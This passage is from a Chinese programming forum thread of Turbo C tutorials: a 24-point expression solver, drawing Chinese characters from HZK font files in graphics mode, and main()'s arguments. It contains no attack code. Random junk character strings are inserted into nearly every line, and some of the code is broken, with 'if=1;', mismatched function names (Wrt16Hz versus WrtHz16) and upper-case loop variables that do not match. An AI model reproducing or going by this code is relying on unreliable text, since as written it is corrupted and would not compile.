  Y" F# ]/ R1 c8 X+ ]0 ireturn(p);4 v) \7 O, H8 m- n
}
" K  I: Z9 r6 r6 L: v/* 此函数实现中缀到后缀的转换 */, E6 b" ^" I3 E  n" M/ g! k
/* M的值宏定义为20 */. c6 t1 w" C; _! C. f  q  ?: D
/* sp[]为表达式数组 */9 c! p: W7 O, V5 i) M( z2 h, o
int mid_last()
* Z& i: w( m: N3 g{ int i=0,j=0; char c,sm[M];3 t4 H  }& W0 B/ h& x$ s* A% K% j
c=s[0]; sm[0]='='; top=0;
1 O; Q2 }" T. x! t0 D" h( p3 J- G1 zwhile(c!='\0')# A4 u/ }# s  y  k! X) z
{ if(islower(c)) sp[j++]=c;5 N* y" e* z8 Z2 r
else switch(c)
8 d) P/ \' j& r  h( X{ case '+':
8 L& c% Z4 \4 p* _& y, n# Ycase '-':7 l0 P8 H7 Q9 [* k
case '*':
& B3 \5 m) _1 C+ B/ V* {case '/': while(first(c)&lt;=first(sm[top]))
+ p. t+ C1 I9 K' X& I& V* Qsp[j++]=sm[top--];
8 G+ F8 ?& ?# S! v6 X7 gsm[++top]=c; break;) `* H5 h2 [+ E2 n
case '(': sm[++top]=c; break;
0 k. M# n; ?1 a4 |case ')': while(sm[top]!='(')
6 S0 E6 B5 n. g! \sp[j++]=sm[top--];2 X3 k- N* o1 B8 G: c
top--; break;8 V7 q/ H, U+ `% V! g
default :return(1);
9 v5 A: g; P# G* ~) U/ `}0 J; f5 M6 z5 J# P; M% O, X& q( P
c=s[++i];
7 Q0 F3 o- M7 @9 I8 b+ X+ @0 N8 a}
8 M% I& e4 D9 ~* `1 Z1 N+ I- W( m" ]while(top&gt;0) sp[j++]=sm[top--];
2 t" o" n# q2 {sp[j]='\0'; return(0);
4 R$ U$ l, Y' \}
6 g: K9 o# r! @! r5 ^  x/* 由后缀表达式来计算表达式的值 */& L: Z# E: a$ ?+ I) b( u% h6 C( [5 J
int calc()
( |. e1 w  T2 Z5 s( r6 y, f% S{ int i=0,sm[M],tr; char c;
! ]( {+ T" n3 D! y4 Mc=sp[0]; top=-1;
4 h% a5 K- _( V9 f: n# k7 j3 Vwhile(c!='\0')
) r4 c# D% ~( g# _4 s+ D1 C% {{ if(islower(c)) sm[++top]=ver[c-'a'];/*在转换过程中用abcd等来代替数,
) k5 w( @' F+ ]! G- o( ]: i这样才可以更方便的处理非一位数,
. \6 e- D" X6 ]ver数组中存放着这些字母所代替的数*/0 f0 O6 I0 _# q: G4 h$ ^5 M% k
else switch(c)5 T& b4 h% u. r; k& }
{ case '+': tr=sm[top--]; sm[top]+=tr; break;
$ ^) ~; y9 [4 Pcase '-': tr=sm[top--]; sm[top]-=tr; break;& q! O8 p( _0 u# e" g( X
case '*': tr=sm[top--]; sm[top]*=tr; break;* r1 [$ z2 v6 F, S
case '/': tr=sm[top--];sm[top]/=tr;break;9 ^* B" K' e; _* ], g
default : return(1);% h5 r0 }# E! P$ O! G/ T# }" f
}
9 ?# Y, f- w5 Z. B# [7 C8 Cc=sp[++i];5 D/ C$ r1 g5 Q1 L3 L
}; j1 _7 ]8 W8 O# i2 g; O, _
if(top&gt;0) return(1);
( U" s6 z: |  oelse { result=sm[top]; return(0); }4 S" V6 {  T: _! E0 _/ N; v8 |! C
}
7 f8 i: U1 B+ h0 ?: Q: p5 ~8 G</FONT>
+ y$ M  X4 ~8 ], k1 o3 K. T  这样这个程序基本上就算解决了,回过头来拿这个程序来算一算文章开始的那个问题。哈哈,算出来了,原来如此简单——(6-3)*10-6=24。
- {7 Y6 O% R# c2 _; i. p9 g" x, y
# a& J+ ]. O1 `  最后我总结了一下这其中容易出错的地方——- l' R/ e: u& m! j; F
& {2 t2 _6 Y7 l+ h0 H9 s0 H
  1、 排列的时候由于一个数只能出现一次, 所以必然有一个判断语句。但是用什么来判断,用大小显然不行,因为有可能这四个数中有两个或者以上的数是相同的。我的方法是给每一个数设置一个代号,在排列结束时,通过这个代号找到这个数。# r: c$ e! d9 s7 j  V3 R
6 ?1 ]+ i* \; d
  2、在应用嵌套函数时,需仔细分析程序的执行过程,并对个别变量进行适当的调整(如j的值),程序才能正确的执行。5 ^/ Q2 C( ^* M  L, r$ ]" ]
9 E4 C3 B6 ]& U# k% Q" C
  3、在分析括号问题的时候要认真仔细,不要错过任何一个可能的机会,也要尽量使程序变得简单一些。不过我的分析可能也有问题,还请高手指点。 ; }( J" @' _% l- }9 Q

5 s- K, ?. p9 \8 C' Z8 d  4、在用函数对一个数组进行处理的时候,一定要注意如果这个数组还需要再应用,就必须将它先保存起来,否则会出错,而且是很严重的错误。0 G/ c2 b! M) I# \8 K- v

. U. n: k  I/ E5 a! K2 a1 }6 T  5、在处理用户输入的表达式时,由于一个十位数或者更高位数是被分解成各位数存放在数组中,所以需对它们进行处理,将它们转化成实际的整型变量。另外,在转化过程中,用一个字母来代替这个数,并将这个数存在一个数组中,且它在数组中的位置和代替它的这个字母有一定的联系,这样才能取回这个数。4 F5 h' Z9 K1 V, H6 t5 G7 ^2 d1 a* N

) t  t% a# Q! H6 ~  6、由于在穷举过程难免会出现计算过程中有除以0的计算,所以我们必须对calc函数种对于除的运算加以处理,否则程序会因为出错而退出(Divide by 0)。5 B& G5 s, S! o5 d7 I" i1 v7 T. c

/ c1 b0 j' S; h2 l  7、最后一个问题,本程序尚未解决。对于一些比较著名的题目,本程序无法解答。比如说5、5、5、1或者8、8、3、3。这是由于这些题目在计算的过程用到了小数,而本程序并没有考虑到小数。
. N8 _! B# d9 R( g' o; e- b</P>
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

< align=center><FONT color=#cc0000 size=5><B>
$ D) L. O  H! v5 Z图形模式下的汉字显示</B></FONT></P><> </P><> 我们在编写一些应用软件时,为了使软件更为通俗浅显、易学易用,具备汉字的用户界面是必不可少的条件。在文本模式下,只要有汉字操作系统的支持,显示汉字是不成问题的。只要用printf或cprintf就可以了。#include <STDIO.H>void main(){printf("我正在学习C语言!");}
- O  W/ m1 I0 Z0 T' [0 K! Z3 X  在图形模式下显示汉字就稍稍麻烦些。可幸的是有很多人从事这一问题的研究,并开发了一些用于汉字显示的函数。这些函数不需要汉字系统的支持,但用到其中的字库文件。如UCDOS的HZK16。& S7 g* d/ M& ]2 w
  汉字显示的第一步是打开字库文件。 . \5 M& U! }2 w
  函数: int OpenHz(const char *Hz16Path); 功能:打开字库文件Hz16Pathint handle; /*打开的字库文件指针*/int OpenHz(const char *Hz16Path){return (handle=open(Hz16Path,O_RDONLY|O_BINARY));} 打开字库文件后,就可以用下面介绍的函数显示16点阵的汉字。
5 d( p: p% C" R" [4 B3 E  r  函数: int WrtHz16(int x,int y,int z,int color,char *p); 功能:在(x,y)用color颜色显示汉字串p,汉字之间的空格数为z。intWrtHz16(int x, int y,int z,int color,char *p)' Q$ K" M- _, V8 b& b
{
* }7 F, ]) j$ v* Punsigned int i,c1,c2,f=0; /*x,y:write at (x,y);*/6 S- s9 K/ R; o( T1 @
int rec,i1,i2,i3; /*z:space between;*/; M$ [# V" o3 z0 p- P, }
long l; /*color:txt color*/
' w6 h4 I9 Y. K+ |6 U3 F9 {  Tchar by[32]; /*p:HZ str*/
! ~+ z1 d* z$ O- uif( handle&lt;0 ) return -1; while((i=*p++)!=0){: u: Y! A; S$ R! a+ s% V
if(i&gt;0xa1): Z9 z* t0 p4 N; F$ w3 F( b
if(f==0){3 ~& b+ e9 d. d7 ]0 E! r+ i
c1=(i-0xa1)&amp;0x07f;
& }: n8 K8 e) _* R% R' P  if=1;3 S" L, f$ U( p4 J
}6 _/ U0 i6 V3 O% `
else{- ]& f0 h' r% s% }% r4 c
c2=(i-0xa1)&amp;0x07f;+ O* G9 @3 C' S2 f
f=0;
' @0 d' @, a6 j$ q, H1 M, k4 `rec=c1*94+c2;6 F. }1 q" W, J5 H
l=rec*32L;
( W2 F- q5 N, {: ]; W- L9 Vlseek(handle,l,SEEK_SET);9 C. V" M% c# @! t3 u8 u" ^
read(handle,by,32);' h  g- U  C& f" P: A- Y# F' N& j
for(i1=0;i1&lt;16;i1++)
$ J4 Q& w; i& v4 f5 ^for(i2=0;i2&lt;2;i2++)
- m; b) G0 i- k3 j8 a. \8 Tfor(i3=0;i3&lt;8;i3++)
8 F4 D/ T- W' X  Z% Kif(GetBit(by[i1*2+i2],7-i3))+ O% j5 [2 r6 |) ^9 D" o
putpixel(x+i2*8+i3,y+i1,color);2 u5 q$ l, U7 _( q
x=x+z+16;
- f# @' _* x: x( D}
6 ^( L% |. U* p- S' ]9 o% p}- s4 ?7 ^8 |# _( T% a8 @3 c4 r
return(x);9 k3 z; {& @8 H/ l4 P# G
}& c+ u, r+ K: u9 e
函数GetBit定义如下:
, P: a- u) S9 Z0 M; e  函数: int GetBit(unsigned char c,int n); 功能:取得汉字的点阵数据。
' `& u, v! Y4 d+ \int GetBit(unsigned char c,int n)
( C" @' Y1 ~& d' c0 _{
, r, }) H$ A, Y$ o( ^return((c&gt;&gt;n)&amp;1);
6 o7 o- B5 I: i! l. F* t) O* D}
# }  \: U. V) z1 [+ T汉字显示结束,应该关闭字库文件。' j0 V8 y& U# z4 ~
void CloseHz(void). o3 B3 N% Q3 o7 P) p) i* J
{
  v8 U# _2 }) y$ f% {close( handle );7 w# }( Z" i9 R7 ?0 X
}
* C% u! `; c* Z. }5 ], F, x#include "\Caic\Include\Hz.h"
/ y6 ~; W2 J  Z. C1 N#include <GRAPHICS.H>
) `( n9 a& r2 \! M- n$ _& V( `#include <CONIO.H>const char* Hz16Path = "\\UCDOS\\Hzk16.";
& r5 @9 L, e: Q9 @0 wconst char* HzStr = "苦丁香C语言辅助学习软件";
! W9 `$ g3 I' M+ gvoid main(){' _% C, ?2 Y, ^8 {; v  U0 J
int gr=DETECT,gm;/ `8 r  S5 e2 x5 o
initgraph(&amp;gr,&amp;gm,"\\Caic\\Bgi");
0 ^0 h; F  }$ @; Y. p" pOpenHz( Hz16Path );
: L3 z6 m5 n# e* b. YWrt16Hz(20,20,4,RED,HzStr);; r* T! p2 ]% ~  ~5 |, C
CloseHz();
% I- s8 Y/ d- Wgetch();2 |7 ^9 n6 Y: s3 M4 S
closegraph();1 M, R$ D$ J3 L% u
}显示24点阵及放大汉字
' g) x8 K" h) @: O6 k  下面探讨一下如何显示24点阵及放大汉字。24点阵字库也可在任意一种汉字系统中找到。如UCDOS的HZK24S。
$ n7 r/ G! g$ ]6 _, `# D函数: int WrtHz24(int x,int y,int z,int color,int m,\int n,char *p); 功能:显示24点阵及放大汉字。& e9 k; {5 J/ R3 a6 U! d3 S
int WrtHz24(int x,int y,int z,int color,int m,int n,char *p)
  Z$ ]( t" c& y+ u{6 ]9 C4 [& Q, Y
unsigned int i,c1,c2,f=0; /*z: 汉字字符间的空格*/3 }9 J$ ?, h5 m9 D
int i1,i2,i3,i4,i5,rec; /*x,y: 先是位置(x,y)*/; n, z$ h& a2 Q9 M
long l; /*color:汉字颜色*/
; a( U; t! U: {char by[72]; /*m: x 方向的放大倍数*/
3 f0 K" O( r6 a* Y* ~" ^2 S/*n: y 方向的放大倍数*/# d5 @0 T  Q% a7 ~6 \
if( handle&lt;0 ) return -1; /*p: 显示汉字串*/ while((i=*p++)!=0){9 ]1 S, `# u; u5 m. _( w& Q
if(i&gt;0xa1)
, `$ f+ d( c0 p2 m2 S0 j0 q$ mif(f==0){* d% X9 E" Z. c/ `  O6 u
c1=(i-0xa1)&amp;0x7f;
- p. n& Q. Y/ @' ?) ~1 b; q2 Pf=1;" O* I3 a- c  l! R! J: f$ C- v
}
, W( D% I  u5 P0 eelse{  P3 @( i' h5 [. F
c2=(i-0xa1)&amp;0x7f;) B* @2 A3 U8 f& x$ }
f=0;( j6 ~8 p( u# ?. j$ B7 s
rec=(c1-15)*94+c2;
& Q& ~" c7 {0 i) S+ m" o( [l=rec*72L;/ \" T$ ^; X6 S% }$ E
lseek(handle,l,SEEK_SET);
- O; F; w: V, Fread(handle,by,72);
1 y/ b! V3 t1 M( e; H: d5 vfor(i1=0;i1&lt;24*m;i1=i1+m)
. m3 w0 l  V. G# K6 jfor(i4=0;i4<M;I4++)
* c" y5 g- {5 w4 Y for(i2=0;i2&lt;=2;i2++)+ D$ b2 ?* t( _/ }9 E& J
for(i3=0;i3&lt;8;i3++)
( n! E! S  X. B6 q% w$ hif(GetBit(by[i1/m*3+i2],7-i3))4 y  A' H  L8 x* l2 Z4 K
for(i5=0;i5<N;I5++)# r# f, ^8 X/ Z$ k8 F5 a# @- @  I
putpixel(x+i1+i4,y+i2*8*n+i3*n+i5,color);
0 s5 O  E6 ]6 v# q2 }7 }+ S8 kx=x+24*m+z;, \) N; g- r+ \* E3 V
}% [3 u9 M, f0 Y; g
}$ n! I/ P$ a! \* I/ N2 ]+ T
return(x);' f6 E+ d2 n0 J# A
} 使用Wrt24Hz的例子:#include "\Caic\Include\Hz.h"( o6 t9 \+ ~9 g( [* R% j+ e
#include <GRAPHICS.H>
6 f0 U7 n# [/ g: Q$ e" d, M5 O#include <CONIO.H>const char* Hz24Path = "C:\\Ucdos\\fnt\\hzk24s."
2 O) J. P, |$ [% y: u) [, kconst char* HzStr = "苦丁香C语言辅助学习软件";5 q- p* A5 D0 I6 o, X; m! x2 q
void main(){
# a* O9 c1 q9 F4 _int gr=DETECT,gm;
% M) D! R; x9 |! Cinitgraph(&amp;gr,gm,"\\Caic\\Bgi");! e+ m) [& J! g, I) t
OpenHz( Hz24Path );
( D0 E' l* m# }" p3 H( _Wrt24Hz(20,20, /*先是在(x,y)*/
  T1 y7 X7 ^' @4, /*汉字间的空格为4*// u5 Y0 R5 s, x' k: V3 P
RED, /*用红色显示*/7 |9 t8 y3 @, l6 K: q' y
2, /*x 方向放大2倍*/! {8 o* }5 x" B3 Q6 r, n) B
4, /*y 方向放大4倍*/
* d2 K! _( e4 Q4 oHzStr); /*显示字符串*/# e5 m- A- b- b& l; ~3 c
CloseHz();! J+ D8 f' C- }- A' I
getch();" x, ]% z& r1 Z3 g  ^
closegraph();4 r2 H, P* U  w7 H  }1 S
}
0 B& u5 Q$ \( w9 ?</P>
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

<>  再谈main()主函数8 m0 G- H% m7 n9 |7 C( m  I
  每一C 程序都必须有一main()函数,可以根据自己的爱好把它放在程序的某个地方。有些程序员把它放在最前面,而另一些程序员把它放在最后面,无论放在哪个地方,以下几点说明都是适合的。4 I0 n) A7 Z  I0 k
1. main() 参数* F" h% v* M, }  a8 T' u3 J: K
  在Turbo C2.0启动过程中,传递main()函数三个参数:argc,argv和env。
" ^. n. B$ U' t& c  * argc: 整数,为传给main()的命令行参数个数。
8 N3 d/ I3 k9 I" y, r$ K  * argv: 字符串数组。4 n0 ]% j; [* S$ S* M
在DOS 3.X 版本中,argv[0] 为程序运行的全路径名;7 S% b  s# v, K' S  |% z5 a
对DOS 3.0 以下的版本,argv[0]为空串("") 。argv[1] 为在DOS 命令行中执行程序名后的第一个字符串;argv[2] 为执行程序名后的第二个字符串;: ~3 W* A; Y1 r
..." w9 N/ i: V, @- ^8 N( H; a' u, {
argv[argc]为NULL。
+ D- p& d0 Z$ @3 D* }  *env: 安符串数组。env[] 的每一个元素都包含ENVVAR=value形式的字符串。其中ENVVAR为环境变量如PATH或87。value 为ENVVAR的对应
* r: y% y; J  f: w- C. `值如C:\DOS,C:\TURBOC(对于PATH) 或YES(对于87)。</P>
回复

使用道具 举报

9#
无效楼层,该帖已经被删除
10#
无效楼层,该帖已经被删除
您需要登录后才可以回帖 登录 | 注册地址

qq
收缩
  • 电话咨询

  • 04714969085
fastpost

关于我们| 联系我们| 诚征英才| 对外合作| 产品服务| QQ

手机版|Archiver| |繁體中文 手机客户端  

蒙公网安备 15010502000194号

Powered by Discuz! X2.5   © 2001-2013 数学建模网-数学中国 ( 蒙ICP备14002410号-3 蒙BBS备-0002号 )     论坛法律顾问:王兆丰

GMT+8, 2026-4-20 11:54 , Processed in 0.703482 second(s), 97 queries .

回顶部